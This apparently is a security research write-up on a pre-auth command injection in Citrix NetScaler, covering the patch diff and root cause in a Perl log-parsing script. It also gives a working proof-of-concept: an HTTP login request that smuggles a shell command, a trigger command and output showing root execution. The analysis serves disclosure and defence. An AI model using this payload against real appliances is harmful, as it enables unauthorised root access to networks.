Oh Look, The Foot Gun Went Off Again (Citrix NetScaler PreAuth Command Injection CVE-2026-88771)

God damn it, we're back in the room again.

We'll probably write more here later, but for now, deal with this picture of our favorite software dev, who works at Citrix (we imagine).

Citrix, before you ask, we do accept our new volunteer role as an extension of your PSIRT function. You may have to compete with other vendors we work with for charity, but we're willing to add you to the roster.

Who Is Citrix NetScaler, and Why Was A Gateway Their First C Project?

Citrix NetScaler (rebranded, then un-rebranded, in the way that only enterprise networking vendors can truly pull off) is a family of application delivery controllers and VPN gateway appliances found in virtually every large enterprise network on the planet. NetScaler handles load balancing, SSL offloading, authentication, and remote access - and NetScaler Gateway specifically serves as the front door for thousands of organizations' remote access infrastructure.

This text above is now contained within a keyboard shortcut.

What is CVE-2026-88771, And Why Does It Have More Friends Than Us?

CVE-2026-88771 is the pre-auth command injection we walk through here. It is one of eight vulnerabilities Citrix fixed in a single bulletin, CTX697096. It affects the default configuration and was exploited in the wild as a zero-day, before any fix existed.

Here is everything the advisory covers:

The Citrix advisory recommends updating to the following fixed versions:

• Citrix NetScaler ADC and Citrix NetScaler Gateway 14.1-73.37 and later releases
• Citrix NetScaler ADC and Citrix NetScaler Gateway 13.1-64.23 and later releases of 13.1
• Citrix NetScaler ADC 14.1-FIPS 14.1-73.37 FIPS and later releases of 14.1-FIPS
• Citrix NetScaler ADC 13.1-FIPS and 13.1-NDcPP 13.1-37.279 and later releases of 13.1-FIPS and 13.1-NDcPP

Setting The Scene

To fuel today's analysis, we set up a Citrix NetScaler appliance and compared two versions using our normal "what the hell has changed" process:

• Vulnerable: NetScaler 14.1 build 73.30
• Different: NetScaler 14.1 build 73.37

And So We Set Off On Our Travels - CVE-2026-88771

Although there are many vulnerabilities in this advisory, we decided to look at CVE-2026-88771, the one that is known to be exploited in the wild.

In addition, it is the most impactful and interesting from a "why does the world exist in this way?" and "what did we do wrong as children to deserve this?" perspective.

Being the well-traveled Citrix reverse engineers that we are, we initially thought maybe NSPPE would be the culprit here: our good old friend, where almost all of the vulnerabilities from the past decade in Citrix NetScaler have existed.

However Citrix clearly likes to play games with us and so this time it actually wasn't the case.

We have had our fair share of reverse engineering the nsppe binary over the years, and the CWE in the Citrix advisory looked like more “intended NetScaler functionality”, yet somehow different to normal:

A remote code execution vulnerability exists due to improper input validation, which can allow an unauthenticated attacker to execute arbitrary commands. Citrix

Improper input validation that results in command execution? Oh boy. We would say the 80s called, but did they even have phones? Who knows.

Insert joke here for the entirety of HackerNews to argue about again

However, what we did know was one thing: given our experience with nsppe, we suspected it was very unlikely that command injection existed there and so we did something different. We broke the cycle and looked elsewhere.

Thank God we did this.

grep, sed, and Awkward

One of the interesting files that changed was ns_monuploadd_err.pl.

Diffing it gave us the following exciting output:

diff --git a/netscaler/ns_monuploadd_err.pl b/netscaler/ns_monuploadd_err.pl
--- a/netscaler/ns_monuploadd_err.pl    # 14.1-73.30
+++ b/netscaler/ns_monuploadd_err.pl    # 14.1-73.37
@@
-my $WR_PPE_COREFILE_NAME = `grep -E -i "pitboss.*PPE.*missed too many heartbeats|pitboss.*PPE.*unexpectedly died" @WR_FILES |\
-tail -1 | sed -e 's!.*NSPPE!NSPPE!g' -e 's!(!!g' -e 's!)!!g' | awk '{ print \$1"-"\$2 }'`; # [1]
+my $WR_PPE_COREFILE_NAME = "";
+my $CORE_RE = qr/pitboss.*(NSPPE-\d{2})\s*\((\d+)\).*(missed too many heartbeats|unexpectedly died)/;
+for my $log (@WR_FILES) {
+    open my $fh, '<', $log or next;
+    while (my $line = <$fh>) {
+        $WR_PPE_COREFILE_NAME = "$1-$2" if $line =~ $CORE_RE;
+    }
+    close $fh;
+}
@@
-chomp($WR_PPE_COREFILE_NAME);
-my $WR_PPE_CORE = `find $OFF_DIR/var/core -name ${WR_PPE_COREFILE_NAME}* -print | tail -1`;
+my $WR_PPE_CORE = "";
+if (open my $find, '-|', 'find', "$OFF_DIR/var/core", '-type', 'f',
+    '(', '-name', $WR_PPE_COREFILE_NAME,
+    '-o', '-name', "$WR_PPE_COREFILE_NAME.gz", ')')
+{
+    while (my $found = <$find>) {
+        chomp $found;
+        if ($found =~ /\A[A-Za-z0-9\/\-.]+\z/) {
+            $WR_PPE_CORE = $found;
+        }
+    }
+    close $find;
+}

Now what we can see is that the old code appears to be trying to recover the name of a crashed nsppe core file.

For context a real Pitboss message stored in .log files looks like this:

pitboss: NSPPE-00 (12345) unexpectedly died

Which means a matching core file would normally be named something like:

NSPPE-00-12345

Old Code? I Hardly Know Her

The first removed expression starts a shell pipeline:

1. At [1], the backticks tell Perl to run the enclosed text as a shell command and return its output.

The pipeline then does the following:

1. grep searches the log files for a Pitboss PPE failure message.
2. tail -1 keeps the last matching line.
3. sed removes everything before NSPPE and removes parentheses.
4. awk takes the first two whitespace-separated fields and joins them with a hyphen.

This is just some shell-fu, which is why it looks a little complicated. It really isn't. Here's another example for you folks.

First, imagine a log message like this

NSPPE-00 (12345) unexpectedly died

When this log message is parsed by the Perl code above, it first removes the parentheses:

NSPPE-00 12345 unexpectedly died

Then it prints field 1, a hyphen, and field 2:

NSPPE-00-12345

The problem is that the script never verifies that those first two fields are really an nsppe core file name and a numeric process ID.

As always in Citrix land, we trust whatever - and in this cas

e, it trusts whatever text the log contains after the word NSPPE.

For example, an attacker-controlled log record could contain:

pitboss PPE unexpectedly died NSPPE-00;id>/tmp/watchTowr; X Y

After sed and awk, the value stored in $WR_PPE_COREFILE_NAME is similar to:

NSPPE-00;id>/tmp/watchTowr;-X

At this point, the semicolons are only characters inside a Perl string. The first pipeline does not execute them. The Command Injection happens in the next line, when Perl interpolates that string into another backtick command:

my $WR_PPE_CORE =
    `find /var/core -name ${WR_PPE_COREFILE_NAME}* -print | tail -1`;

When that next line occurs the shell receives something equivalent to the below:

find /var/core -name NSPPE-00;id>/tmp/watchTowr;-X* -print | tail -1

As you may be guessing, the shell then treats that semicolon as a command separator. It first runs the find command for those in the back of the room, and then it runs our lovely controlled payload.

The last part fails, but who cares, because our injected command has already executed as root - because pretty much everything on a Citrix NetScaler runs as root.

This is it. This is how APT groups have presumably been ravaging your networks in secret while Citrix kept its mouth shut.

Yes, you’re right again - it took days to get a patch for this.

Can anyone else hear screaming?

Did They Fix It? How? AGI?

Well dear friends, the new code first replaces the grep | sed | awk pipeline with normal Perl file handling. It reads each log line and applies this regular expression:

qr/pitboss.*(NSPPE-\d{2})\s*\((\d+)\).*(missed too many heartbeats|unexpectedly died)/

The two captured values are deliberately narrow:

• (NSPPE-\d{2}) accepts a Packet Engine name such as NSPPE-00.
• (\d+) accepts only a numeric process ID.

The filename is then created only from those captures:

$WR_PPE_COREFILE_NAME = "$1-$2";

Even if the rest of the log line contains semicolons, pipes, backticks, or redirection characters, those characters are not copied into the filename.

The second change is just as important. The fixed script starts find using Perl's list form:

open my $find, '-|', 'find', '/var/core', '-type', 'f', ...

Each value is passed to find as a separate argument. Perl does not build a command string and does not start /bin/sh, so shell metacharacters cannot be interpreted as commands. The search was also tightened from the prefix pattern NAME* to only the exact core filename or its exact .gz form.

Finally, the returned path must match:

/\A[A-Za-z0-9\/\-.]+\z/

The \A and \z anchors require the whole path to match. Only letters, digits, /, -, and . are allowed. This is defense-in-depth because the path is later used by older backtick commands elsewhere in the script.

See, Citrix do know about defense.

In short, the patch does what anyone who doesn’t hate themselves would’ve done: it constructs the core name from strictly validated fields, and it executes find without involving a shell.

BL11NG BL11NG GIVE ME A SHELL.

Sadly, a simple pre-auth request like this can trigger the vulnerability (you need Hackvertor installed to encode the login field (if you’re using Burp or similar)):

POST /nf/auth/doAuthentication.do HTTP/1.1
Host: netscaler-aaa-server
Content-Type: application/x-www-form-urlencoded
login=<@urlencode_all>pitboss PPE unexpectedly died NSPPE;:`id>/var/tmp/watchTowr`;# X</@urlencode_all>&passwd=x&savecredentials=false&nsg-x1-logon-button=Log+On

Response:

HTTP/1.1 200 OK
Content-Security-Policy: default-src 'self'; script-src 'self'; connect-src 'self'; img-src <http://localhost>:* 'self' data:; style-src 'self' 'unsafe-inline'; font-src 'self' data:; frame-src 'self'; child-src 'self' com.citrix.agmacepa://* citrixng://* com.citrix.nsgclient://* vmware-view:// nsgcepa://nsgcepa application://*; form-action  'self'; object-src 'none'; base-uri 'self'; report-uri /nscsp_violation/report_uri
Set-Cookie: NSC_DLGE=yyyyyyy;Secure;HttpOnly;Path=/
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
Content-Length: 2253
Cache-control: no-cache, no-store, must-revalidate
Pragma: no-cache
Content-Type: application/vnd.citrix.authenticateresponse-1+xml; charset=utf-8
X-Citrix-Application: Receiver for Web
<AuthenticateResponse xmlns="<http://citrix.com/authentication/response/1>"><Status>success</Status><Result>update-credentials</Result><StateContext>ctx_hintYYYYYYY</StateContext><AuthenticationRequirements><PostBack>/nf/auth/doCredentialUpdate.do</PostBack><CancelPostBack>/nf/auth/doCancelCredentialUpdate.do</CancelPostBack><CancelButtonText>Cancel</CancelButtonText><Requirements><Requirement><Credential><Type>none</Type></Credential><Label><Text>nsg_changepass</Text><Type>nsg-login-heading</Type></Label><Input/></Requirement><Requirement><Credential><SaveID>login</SaveID><ID>username</ID><Type>username</Type></Credential><Label><Text>nsg_username</Text><Type>nsg-login-label</Type></Label><Input><Text><ReadOnly>true</ReadOnly><InitialValue>pitboss PPE unexpectedly died NSPPE;:`id>/var/tmp/helloxxxx`;# X</InitialValue></Text></Input></Requirement><Requirement><Credential><ID>oldpwd</ID><Type>password</Type></Credential><Label><Text>nsg_oldpass</Text><Type>nsg-login-label</Type></Label><Input><Text><Secret>true</Secret><Constraint>.+</Constraint></Text></Input></Requirement><Requirement><Credential><SaveID>passwd</SaveID><ID>newpwd</ID><Type>newpassword</Type></Credential><Label><Text>nsg_newpass</Text><Type>nsg-login-label</Type></Label><Input><Text><Secret>true</Secret><Constraint>.+</Constraint></Text></Input></Requirement><Requirement><Credential><ID>confirmedpwd</ID><Type>newpassword</Type></Credential><Label><Text>nsg_confirmpass</Text><Type>nsg-login-label</Type></Label><Input><Text><Secret>true</Secret><Constraint>.+</Constraint></Text></Input></Requirement><Requirement><Credential><Type>none</Type></Credential><Label><Text></Text><Type>nsg-change-pass-assistive-text</Type></Label><Input/></Requirement><Requirement><Credential><ID>ns-dialogue-submit</ID><Type>none</Type></Credential><Input><Button>Submit</Button></Input></Requirement></Requirements></AuthenticationRequirements></AuthenticateResponse>

What is worth mentioning here is that this is not limited to one endpoint. Any endpoint or port that logs data controlled in an HTTP header can trigger this vulnerability.

Failed login attempts, users blocked by rate limits, request parameters, and User-Agent headers can all end up in the logs, and thus many combinations exist.

Even the Citrix management interface is not safe (ha ha, classic foot gun things).

The HTTP request above causes the following entries to be logged:

Sep 28 08:14:16 <local0.info> xxxxxx  09/28/2026:08:14:16 GMT  0-PPE-0 : default SSLVPN Message 675 0 :  "AAAD API: sending login req to aaad for <pitboss PPE unexpectedly died NSPPE;:`id>/var/tmp/watchTowr`;# X>, factor <xxxx>, auth type 4129, trans id 1350"
Sep 28 08:14:16 <local1.info> xxxxxx nsaaad[15791]: (0-57) process_kernel_socket: call to authenticate user :pitboss PPE unexpectedly died NSPPE;:`id>/var/tmp/watchTowr`;# X, vsid :11813, userlen 70
Sep 28 08:14:16 <local0.info> xxxxx  09/28/2026:08:14:16 GMT  0-PPE-0 : default AAATM Message 678 0 :  "AAAD RESP: received resp, user: <pitboss PPE unexpectedly died NSPPE;:`id>/var/tmp/watchTowr`;# X>, factor: <xxxxx>, trans id 1350, pcb trans id 1350, q_flags 1879080964 aaad-resp 15 aaad-flags 0"

Shell We Restart?

As always, we then banged our heads against the wall - in frustration.

The Command Injection doesn't trigger instantly, we have to wait for ns_monuploadd_err.pl to run, which can take up to 24 hours: this is mildly frustrating if you're us.

To force execution, you can run the following command, but we may or may not have found a technique to force this to fire instantly. For now, though, we’re keeping that to ourselves.

/netscaler/ns_monuploadd_err.pl -WR

Now, let us check whether our command executed:

root@netscaler# ls -la /var/tmp/watchTowr
-rw-r--r--  1 root  wheel  41 Sep 28 09:21 /var/tmp/watchTowr
root@netscaler# cat /var/tmp/watchTowr
uid=0(root) gid=0(wheel) groups=0(wheel)
root@netscaler#

0:00

/0:23